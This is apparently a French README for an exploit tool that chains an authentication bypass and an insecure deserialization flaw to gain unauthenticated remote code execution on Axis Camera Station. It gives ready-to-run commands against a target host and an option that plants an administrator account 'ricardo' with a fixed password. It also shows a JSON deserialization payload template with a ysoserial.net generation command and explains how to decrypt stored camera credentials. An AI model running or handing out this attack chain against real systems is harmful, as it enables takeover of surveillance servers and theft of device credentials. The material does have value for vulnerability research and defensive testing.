
RCE non authentifiée sur Axis Camera Station (ACS) par chaînage de CVE‑2025‑30026 (contournement d'authentification) + CVE‑2025‑30023 (désérialisation non sécurisée)
Cet exploit enchaîne CVE‑2025‑30026 (contournement d'authentification) avec CVE‑2025‑30023 (désérialisation non sécurisée) pour obtenir une RCE non authentifiée sur le logiciel Axis Camera Station. Il contourne le mécanisme de connexion et délivre des charges utiles sérialisées malveillantes qui déclenchent l'exécution arbitraire de commandes, donnant à l'attaquant le contrôle total de la machine cible.
Les deux vulnérabilités affectent les versions d'Axis Camera Station Pro antérieures à 6.9 et les versions d'Axis Camera Station antérieures à 5.58.
Il est basé sur l'article de blog de Claroty "Turning Camera Surveillance on its Axis", qui décrit le protocole et les vulnérabilités associées.
python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
| Option | Description |
|---|---|
--host | IP/hôte cible (requis). |
--port | Port cible (par défaut 55752). |
--key | Clé privée RSA-2048 du client au format PEM (requis). |
--json | Fichier JSON local contenant la requête à envoyer. |
--version | Requête VersionFacade.get_ProductVersion pour obtenir les informations de version. |
--adduser | Crée l'utilisateur ricardo avec le mot de passe ThisIsIt123 et l'ajoute au groupe Administrators. |
--wait | Secondes d'écoute sur le canal après le handshake (par défaut 5). |
--listen | Secondes d'attente de la réponse après l'envoi d'une requête (par défaut 15). |
Installez les dépendances et générez une clé privée RSA au format PEM pour le client :
pip install cryptography
openssl genrsa -out client_priv.pem 2048
Interrogez la version du produit pour vérifier si la version est vulnérable :
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

Exploiter la désérialisation pour créer un utilisateur administrateur ricardo avec le mot de passe ThisIsIt123 :
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser


Envoyez une Request personnalisée depuis un fichier JSON pour exécuter n'importe quelle commande :
python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json
RequestUn Request est un objet JSON avec une seule clé "Request". Le format pour exploiter la désérialisation est :
{
"Request": {
"Id": "random123456",
"Service": "SessionFacade",
"Method": "LogOnAsync",
"Parameters": {
"uri": "http://192.168.1.197:55752/",
"clientInformationDto": {
"$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
},
"communicationType": 0,
"ct": "random123456"
}
}
}
La valeur du champ clientInformationDto peut être obtenue à l'aide de Ysoserial.net avec un gadget tel que WindowsIdentity, qui semble assez stable pour exploiter cette vulnérabilité (d'autres gadgets font planter le service) :
ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw
Une fois que vous avez accès à la machine Windows, vous avez accès aux bases de données .FDB qui contiennent les identifiants permettant de se connecter aux différents appareils. Celles-ci sont chiffrées à l'aide d'une implémentation AES faible, que vous pouvez déchiffrer immédiatement en utilisant le numéro de série du volume de l'hôte ou la forcer par force brute en quelques minutes avec un GPU.
Vous pouvez utiliser le script de ce dépôt pour l'exploiter : CVE-2026-63286.
AXIS Camera Station encapsule un protocole binaire avec état au-dessus de HTTP. Au lieu d'une requête/réponse par connexion, il ouvre deux canaux persistants et y diffuse des messages tramés jusqu'à la fermeture de la connexion.
| Couche | Détail |
|---|---|
| Transport | HTTP sur le port 55752. GET /_/ ouvre le canal RX (réception) ; POST /_/<channelID> est le canal TX (envoi), chaque message étant placé dans le corps du POST. |
| Trame RX | Corps HTTP chunked ; à l'intérieur, les trames de contrôle sont [uint32 LE length][data]. |
| Poignée de main | Les deux parties échangent une clé publique, puis une clé de session AES aléatoire encapsulée avec la clé publique de l'autre partie. |
| Format de clé | Le client envoie son certificat X.509 (base64). La clé AES est envoyée sous la forme base64(wrapped_key):base64(iv). |
| Encapsulation RSA | PKCS#1 v1.5. |
| Canal | AES-256-CBC avec remplissage PKCS#7. Les trames serveur→client utilisent la clé + IV du serveur. |
| Application | JSON Axis.Remoting. Le client envoie d'abord son ClientId sous forme de HELLO, puis {"Request":{"Id","Service","Method","Parameters"}}. |
RX GET /_/ <- channelID
RX (server pushes) <- server cert (X.509, base64)
RX (server pushes) <- server AES key + IV (wrapped)
TX POST /_/<channelID> -> client cert (X.509, base64)
TX POST /_/<channelID> -> client AES key + IV (wrapped)
TX POST /_/<channelID> -> HELLO (ClientId)
TX POST /_/<channelID> -> encrypted JSON Request
RX (server pushes) <- encrypted JSON Response
Testé sur les versions 5.57.27610 et 5.57.33556 exécutées sous Windows 11.
Les attaques de désérialisation peuvent faire planter le service si des gadgets instables ou des paramètres inappropriés sont utilisés, il faut donc toujours tester dans des environnements contrôlés.
Ce script est fourni uniquement à des fins éducatives et de tests autorisés... utilisez-le à vos propres risques !